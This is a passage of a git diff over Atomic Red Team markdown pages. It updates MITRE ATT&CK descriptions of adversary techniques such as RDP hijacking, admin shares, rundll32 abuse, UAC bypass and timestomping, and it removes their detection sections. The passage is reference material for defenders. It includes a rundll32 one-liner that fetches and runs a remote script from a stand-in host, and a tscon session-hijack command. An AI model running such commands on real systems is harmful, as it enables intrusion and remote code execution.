+Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)
## Atomic Tests diff --git a/atomics/T1077/T1077.md b/atomics/T1077/T1077.md index cbe4893eb1..4ec1de97bf 100644 --- a/atomics/T1077/T1077.md +++ b/atomics/T1077/T1077.md @@ -2,21 +2,9 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1077)
Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. -Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares) +Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares) -The Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use) - -Detection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems. - -Platforms: Windows - -Data Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring - -Permissions Required: Administrator - -System Requirements: File and printer sharing over SMB enabled. -Host/network firewalls not blocking SMB ports between source and destination. -Use of domain account in administrator group on remote system or default system admin account.
+The [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use) ## Atomic Tests diff --git a/atomics/T1081/T1081.md b/atomics/T1081/T1081.md index 7ef7d6d99a..178e0ad527 100644 --- a/atomics/T1081/T1081.md +++ b/atomics/T1081/T1081.md @@ -1,18 +1,8 @@ # T1081 - Credentials in Files ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1081) -
Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. +
Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. -It is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) - -Detection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information. - -Platforms: Linux, macOS, Windows - -Data Sources: File monitoring, Process command-line parameters - -Permissions Required: User, Administrator, SYSTEM - -System Requirements: Access to files
+It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)
## Atomic Tests diff --git a/atomics/T1082/T1082.md b/atomics/T1082/T1082.md index 5853aedf3b..fa7b066d6a 100644 --- a/atomics/T1082/T1082.md +++ b/atomics/T1082/T1082.md @@ -2,23 +2,13 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1082)
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. -===Windows=== +### Windows -Example commands and utilities that obtain this information include ver, Systeminfo, and dir within cmd for identifying information based on present files and directories. +Example commands and utilities that obtain this information include ver, [Systeminfo](https://attack.mitre.org/software/S0096), and dir within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories. -===Mac=== +### Mac -On Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. - -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Linux, macOS, Windows - -Data Sources: Process command-line parameters, Process monitoring - -Permissions Required: User
+On Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions. ## Atomic Tests diff --git a/atomics/T1083/T1083.md b/atomics/T1083/T1083.md index 8f24c79162..9ca89f5c62 100644 --- a/atomics/T1083/T1083.md +++ b/atomics/T1083/T1083.md @@ -2,25 +2,13 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1083)
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. -===Windows=== +### Windows Example utilities used to obtain this information are dir and tree. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API. -===Mac and Linux=== +### Mac and Linux -In Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. - -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Linux, macOS, Windows - -Data Sources: File monitoring, Process command-line parameters, Process monitoring - -Permissions Required: User, Administrator, SYSTEM - -System Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls
+In Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands. ## Atomic Tests diff --git a/atomics/T1084/T1084.md b/atomics/T1084/T1084.md index e46c41466e..bd651fa07d 100644 --- a/atomics/T1084/T1084.md +++ b/atomics/T1084/T1084.md @@ -1,14 +1,6 @@ # T1084 - Windows Management Instrumentation Event Subscription ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1084) -
Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015) - -Detection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) - -Platforms: Windows - -Data Sources: WMI Objects - -Permissions Required: Administrator, SYSTEM
+
Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)
## Atomic Tests diff --git a/atomics/T1085/T1085.md b/atomics/T1085/T1085.md index 0b2873e6f1..c700033d59 100644 --- a/atomics/T1085/T1085.md +++ b/atomics/T1085/T1085.md @@ -4,21 +4,7 @@ Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) -Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) - -Detection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. - -Platforms: Windows - -Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring - -Defense Bypassed: Anti-virus, Application whitelisting - -Permissions Required: User - -Remote Support: No - -Contributors: Ricardo Dias, Casey Smith +Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) ## Atomic Tests diff --git a/atomics/T1086/T1086.md b/atomics/T1086/T1086.md index a6065c75e2..d0d1107eac 100644 --- a/atomics/T1086/T1086.md +++ b/atomics/T1086/T1086.md @@ -6,19 +6,7 @@ PowerShell may also be used to download and run executables from the Internet, w Administrator permissions are required to use PowerShell to connect to remote systems. -A number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack) - -Detection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. - -It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data. - -Platforms: Windows - -Data Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring - -Permissions Required: User, Administrator - -Remote Support: Yes +A number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack) ## Atomic Tests diff --git a/atomics/T1087/T1087.md b/atomics/T1087/T1087.md index bb0397f02d..59c860da58 100644 --- a/atomics/T1087/T1087.md +++ b/atomics/T1087/T1087.md @@ -2,31 +2,19 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1087)
Adversaries may attempt to get a listing of local system or domain accounts. -===Windows=== +### Windows -Example commands that can acquire this information are net user, net group , and net localgroup using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply. +Example commands that can acquire this information are net user, net group , and net localgroup using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply. -===Mac=== +### Mac On Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users. -===Linux=== +### Linux On Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file. -Also, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Linux, macOS, Windows - -Data Sources: API monitoring, Process command-line parameters, Process monitoring - -Permissions Required: User - -Contributors: Travis Smith, Tripwire
+Also, groups can be enumerated through the groups and id commands. ## Atomic Tests diff --git a/atomics/T1088/T1088.md b/atomics/T1088/T1088.md index 8c550233cc..f97b1f6493 100644 --- a/atomics/T1088/T1088.md +++ b/atomics/T1088/T1088.md @@ -8,28 +8,7 @@ Many methods have been discovered to bypass UAC. The Github readme page for UACM * eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit) -Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass) - -Detection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes. - -Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: - -* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass) -* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass) - -Analysts should monitor these Registry settings for unauthorized changes. - -Platforms: Windows - -Data Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters - -Effective Permissions: Administrator - -Defense Bypassed: Windows User Account Control - -Permissions Required: User, Administrator - -Contributors: Stefan Kanthak, Casey Smith +Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass) ## Atomic Tests diff --git a/atomics/T1089/T1089.md b/atomics/T1089/T1089.md index 446f492682..3a20407416 100644 --- a/atomics/T1089/T1089.md +++ b/atomics/T1089/T1089.md @@ -1,14 +1,6 @@ # T1089 - Disabling Security Tools ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1089) -
Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting. - -Detection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious. - -Platforms: Linux, macOS, Windows - -Data Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters - -Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis
+
Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
## Atomic Tests diff --git a/atomics/T1090/T1090.md b/atomics/T1090/T1090.md index a9fd73b08b..cbf73a1664 100644 --- a/atomics/T1090/T1090.md +++ b/atomics/T1090/T1090.md @@ -1,22 +1,10 @@ # T1090 - Connection Proxy ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1090) -
A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) +
A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) The definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. -The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. - -Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. - -Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - -Platforms: Linux, macOS, Windows - -Data Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture - -Requires Network: Yes - -Contributors: Walker Johnson
+The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.
## Atomic Tests diff --git a/atomics/T1096/T1096.md b/atomics/T1096/T1096.md index 6e26d90a91..46d1ac8302 100644 --- a/atomics/T1096/T1096.md +++ b/atomics/T1096/T1096.md @@ -1,24 +1,8 @@ # T1096 - NTFS File Attributes ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1096) -
Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternative Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) +
Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) -Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015) - -Detection: Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions, used to interact with EA, and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) - -The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) - -Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) - -Platforms: Windows - -Data Sources: File monitoring, Kernel drivers, API monitoring - -Defense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis - -System Requirements: NTFS partitioned hard drive - -Contributors: Red Canary
+Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
## Atomic Tests diff --git a/atomics/T1098/T1098.md b/atomics/T1098/T1098.md index 00c271573f..be4dab0b45 100644 --- a/atomics/T1098/T1098.md +++ b/atomics/T1098/T1098.md @@ -1,16 +1,6 @@ # T1098 - Account Manipulation ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1098) -
Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. - -Detection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017) - -Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity. - -Platforms: Windows - -Data Sources: Authentication logs, API monitoring, Windows event logs, Packet capture - -Permissions Required: Administrator
+
Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.
## Atomic Tests diff --git a/atomics/T1099/T1099.md b/atomics/T1099/T1099.md index d05ffa3af0..485e6c85b3 100644 --- a/atomics/T1099/T1099.md +++ b/atomics/T1099/T1099.md @@ -1,16 +1,6 @@ # T1099 - Timestomp ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1099) -
Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques) - -Detection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values. - -Platforms: Linux, Windows - -Data Sources: File monitoring, Process monitoring, Process command-line parameters - -Defense Bypassed: Host forensic analysis - -Permissions Required: User, Administrator, SYSTEM
+
Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)
## Atomic Tests diff --git a/atomics/T1103/T1103.md b/atomics/T1103/T1103.md index c4eaa96785..5c34338eaf 100644 --- a/atomics/T1103/T1103.md +++ b/atomics/T1103/T1103.md @@ -1,22 +1,8 @@ # T1103 - AppInit DLLs ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1103) -
Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) +
Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) -The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) - -Detection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) - -Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. - -Platforms: Windows - -Data Sources: Loaded DLLs, Process monitoring, Windows Registry - -Effective Permissions: Administrator, SYSTEM - -Permissions Required: Administrator - -System Requirements: Secure boot disabled on systems running Windows 8 and later
+The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)
## Atomic Tests diff --git a/atomics/T1105/T1105.md b/atomics/T1105/T1105.md index 83f127ada0..7d0d43f867 100644 --- a/atomics/T1105/T1105.md +++ b/atomics/T1105/T1105.md @@ -1,20 +1,8 @@ # T1105 - Remote File Copy ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1105) -
Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. +
Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. -Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol. - -Detection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. - -Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - -Platforms: Linux, macOS, Windows - -Data Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring - -Permissions Required: User - -Requires Network: Yes
+Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).
## Atomic Tests diff --git a/atomics/T1107/T1107.md b/atomics/T1107/T1107.md index 5bd271bd7c..aa88071d53 100644 --- a/atomics/T1107/T1107.md +++ b/atomics/T1107/T1107.md @@ -2,19 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1107)
Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. -There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools) - -Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe. - -Platforms: Linux, Windows, macOS - -Data Sources: Binary file metadata, File monitoring, Process command-line parameters - -Defense Bypassed: Host forensic analysis - -Permissions Required: User - -Contributors: Walker Johnson
